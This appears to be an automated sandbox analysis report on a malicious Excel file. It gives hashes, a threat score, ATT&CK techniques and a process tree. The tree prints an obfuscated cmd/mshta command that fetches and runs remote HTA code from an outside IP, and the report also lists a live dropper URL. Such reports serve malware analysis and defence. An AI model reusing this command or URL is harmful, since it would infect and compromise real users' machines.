Analysis

  • max time kernel
    105s
  • max time network
    84s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    22-05-2022 05:29

General

  • Target

    ?i=1okixezym.xls

  • Size

    129KB

  • MD5

    e695d8c6c6db341f12701b4d18dd0d19

  • SHA1

    c73f399a25902d8d935e8b6b857ba9203c8536fe

  • SHA256

    59cb2552a34b231acb92fcee121b13d662ca7f0049a70aae86fe312270f548e5

  • SHA512

    605ba80a24c02cd34763177f1e99d0b74dd6a291623f1433f8f38cf357bd9ab5516c884ee569a5b0ffbc3bdc7645b8274a3428f3fb0f768d5be2a2f4ceaeacb0

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1okixezym.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1732

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1620-54-0x000000002F3C1000-0x000000002F3C4000-memory.dmp
    Filesize

    12KB

  • memory/1620-55-0x0000000071921000-0x0000000071923000-memory.dmp
    Filesize

    8KB

  • memory/1620-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1620-57-0x000000007290D000-0x0000000072918000-memory.dmp
    Filesize

    44KB

  • memory/1620-58-0x0000000075951000-0x0000000075953000-memory.dmp
    Filesize

    8KB

  • memory/1620-61-0x000000006BD21000-0x000000006BD23000-memory.dmp
    Filesize

    8KB

  • memory/1620-62-0x000000006BA61000-0x000000006BA63000-memory.dmp
    Filesize

    8KB

  • memory/1620-73-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1732-60-0x0000000000000000-mapping.dmp
  • memory/1736-59-0x0000000000000000-mapping.dmp